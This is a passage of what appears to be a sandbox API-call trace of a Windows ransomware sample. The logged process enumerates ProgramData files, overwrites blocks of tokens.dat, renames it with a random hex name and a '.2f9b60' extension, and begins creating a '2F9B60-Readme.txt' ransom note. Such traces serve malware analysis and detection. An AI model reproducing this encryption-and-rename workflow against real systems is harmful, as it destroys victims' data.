_Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0091.400] wcscat (in: _Dest=0x1b85e590, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" [0091.400] wcscat (in: _Dest=0x1b85e590, _Source="qmgr0.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" [0096.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd74 [0096.833] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1 [0096.833] wcscmp (_String1="qmgr1.dat", _String2=".") returned 1 [0096.833] wcscmp (_String1="qmgr1.dat", _String2="..") returned 1 [0096.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b866840 [0096.833] wcscpy (in: _Dest=0x1b866840, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0096.833] wcscat (in: _Dest=0x1b866840, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" [0096.833] wcscat (in: _Dest=0x1b866840, _Source="qmgr1.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" [0096.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1004 [0096.834] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0 [0096.834] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0096.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55930) returned 1 [0096.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e3a0) returned 1 [0096.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8586d0) returned 1 Thread: id = 453 os_tid = 0x314 [0091.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4d890 [0091.401] wcscpy (in: _Dest=0x1cf4d890, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0091.401] wcscat (in: _Dest=0x1cf4d890, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0091.401] wcscat (in: _Dest=0x1cf4d890, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*" [0091.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59140 [0091.401] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86bb0 [0091.401] wcscmp (_String1=".", _String2=".") returned 0 [0091.401] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.401] wcscmp (_String1="..", _String2=".") returned 1 [0091.401] wcscmp (_String1="..", _String2="..") returned 0 [0091.402] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1 [0091.402] wcscmp (_String1="cache.dat", _String2=".") returned 1 [0091.402] wcscmp (_String1="cache.dat", _String2="..") returned 1 [0091.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7adfc0 [0091.402] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0091.402] wcscat (in: _Dest=0x1b7adfc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0091.402] wcscat (in: _Dest=0x1b7adfc0, _Source="cache.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" [0097.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adfc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0097.712] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 0 [0097.712] FindClose (in: hFindFile=0x1cd86bb0 | out: hFindFile=0x1cd86bb0) returned 1 [0097.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59140) returned 1 [0097.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d890) returned 1 [0097.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783ef0) returned 1 Thread: id = 454 os_tid = 0x9e8 [0091.403] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat")) returned 0x2020 [0091.404] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat", dwFileAttributes=0x20) returned 1 [0091.758] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0091.758] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x1df3f900 | out: lpFileSize=0x1df3f900*=4627413) returned 1 [0091.759] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x469bd1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.759] ReadFile (in: hFile=0xd88, lpBuffer=0x1df3f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1df3f8c8, lpOverlapped=0x0 | out: lpBuffer=0x1df3f880*, lpNumberOfBytesRead=0x1df3f8c8*=0x4, lpOverlapped=0x0) returned 1 [0092.047] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0092.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0092.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0092.047] NtQuerySystemTime (in: CurrentTime=0x1df3f7c0 | out: CurrentTime=0x1df3f7c0*=132462176978818000) returned 0x0 [0092.047] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x382fef94 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0xf30c83b [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x24937e92 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x22e51b13 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x39bd6ece [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x1c7b68d5 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x6ae4f25d [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x440906b5 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x2bb73505 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x33d38bd3 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x673b2490 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x34920065 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x5d195b31 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x1d339852 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x6d1e4563 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x114aca8e [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x61e6b1c8 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0xd937065 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x1b6c81bc [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x7f322821 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x125ee088 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x31179f75 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x5a661e82 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x732c3d17 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x7f52a0c5 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x6752335d [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0xa305974 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x172bb50f [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x6da1197a [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x35543631 [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x6e91eb9b [0092.048] RtlRandomEx (in: Seed=0x1df3f7b0 | out: Seed=0x1df3f7b0) returned 0x3348ec47 [0092.075] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.075] ReadFile (in: hFile=0xd88, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1df3f820, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x1df3f820*=0x3c00, lpOverlapped=0x0) returned 1 [0092.092] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0092.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0092.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0092.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201885a0 [0092.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0092.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0092.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2c0) returned 1 [0092.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0092.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.093] WriteFile (in: hFile=0xd88, lpBuffer=0x201885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1df3f820, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesWritten=0x1df3f820*=0x3c00, lpOverlapped=0x0) returned 1 [0092.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0092.109] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x236400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.109] ReadFile (in: hFile=0xd88, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1df3f820, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x1df3f820*=0x3c00, lpOverlapped=0x0) returned 1 [0092.219] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x236400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0092.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad80) returned 1 [0092.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0092.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0092.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b710 [0092.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b710) returned 1 [0092.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.220] WriteFile (in: hFile=0xd88, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1df3f820, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x1df3f820*=0x3c00, lpOverlapped=0x0) returned 1 [0092.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0092.223] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x465fd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.223] ReadFile (in: hFile=0xd88, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1df3f820, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x1df3f820*=0x3c00, lpOverlapped=0x0) returned 1 [0092.237] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x465fd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0092.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0092.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0092.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0092.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aff0) returned 1 [0092.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.238] WriteFile (in: hFile=0xd88, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1df3f820, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x1df3f820*=0x3c00, lpOverlapped=0x0) returned 1 [0092.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0092.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1cd0 [0092.241] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.241] WriteFile (in: hFile=0xd88, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1df3f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x1df3f8d0*=0x146, lpOverlapped=0x0) returned 1 [0092.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0092.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0092.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0092.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0092.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aff0) returned 1 [0092.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ebb0 [0092.253] sprintf (in: _Dest=0x1cd9ebb0, _Format="%c%c" | out: _Dest="f9") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebb2, _Format="%c%c" | out: _Dest="fe") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebb4, _Format="%c%c" | out: _Dest="f7") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebb6, _Format="%c%c" | out: _Dest="60") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebb8, _Format="%c%c" | out: _Dest="2a") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebba, _Format="%c%c" | out: _Dest="d6") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebbc, _Format="%c%c" | out: _Dest="d8") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebbe, _Format="%c%c" | out: _Dest="7e") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebc0, _Format="%c%c" | out: _Dest="b1") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebc2, _Format="%c%c" | out: _Dest="11") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebc4, _Format="%c%c" | out: _Dest="45") returned 2 [0092.253] sprintf (in: _Dest=0x1cd9ebc6, _Format="%c%c" | out: _Dest="ca") returned 2 [0092.254] sprintf (in: _Dest=0x1cd9ebc8, _Format="%c%c" | out: _Dest="e9") returned 2 [0092.254] sprintf (in: _Dest=0x1cd9ebca, _Format="%c%c" | out: _Dest="cb") returned 2 [0092.254] sprintf (in: _Dest=0x1cd9ebcc, _Format="%c%c" | out: _Dest="14") returned 2 [0092.254] sprintf (in: _Dest=0x1cd9ebce, _Format="%c%c" | out: _Dest="48") returned 2 [0092.254] sprintf (in: _Dest=0x1cd9ebd0, _Format="%c%c" | out: _Dest="4e") returned 2 [0092.254] sprintf (in: _Dest=0x1cd9ebd2, _Format="%c%c" | out: _Dest="7b") returned 2 [0092.254] sprintf (in: _Dest=0x1cd9ebd4, _Format="%c%c" | out: _Dest="59") returned 2 [0092.254] sprintf (in: _Dest=0x1cd9ebd6, _Format="%c%c" | out: _Dest="58") returned 2 [0092.254] RtlInitAnsiString (in: DestinationString=0x1df3f948, SourceString="f9fef7602ad6d87eb11145cae9cb14484e7b5958" | out: DestinationString="f9fef7602ad6d87eb11145cae9cb14484e7b5958") [0092.254] RtlAnsiStringToUnicodeString (in: DestinationString=0x1df3f918, SourceString="f9fef7602ad6d87eb11145cae9cb14484e7b5958", AllocateDestinationString=1 | out: DestinationString="f9fef7602ad6d87eb11145cae9cb14484e7b5958") returned 0x0 [0092.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cf70 [0092.254] wcscat (in: _Dest=0x1b7add40, _Source="f9fef7602a" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a" [0092.254] wcscat (in: _Dest=0x1b7add40, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60" [0092.254] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60", NtPathName=0x1df3f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x1079c0 [0092.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0092.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.256] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x1df3f958, FileInformation=0x1df3f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1df3f958, FileInformation=0x1df3f968) returned 0x0 [0092.256] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x1df3f958, FileInformation=0x1df3f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0092.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf70) returned 1 [0092.261] FlushFileBuffers (hFile=0xd88) returned 1 [0092.262] CloseHandle (hObject=0xd88) returned 1 [0092.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce114a0 [0092.263] wcscpy (in: _Dest=0x1ce114a0, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0092.263] wcscat (in: _Dest=0x1ce114a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\2F9B60-Readme.txt" [0092.263] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\2f9b60-readme.txt")) returned 0xffffffff [0092.263] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\2f9b60-readme.txt"), 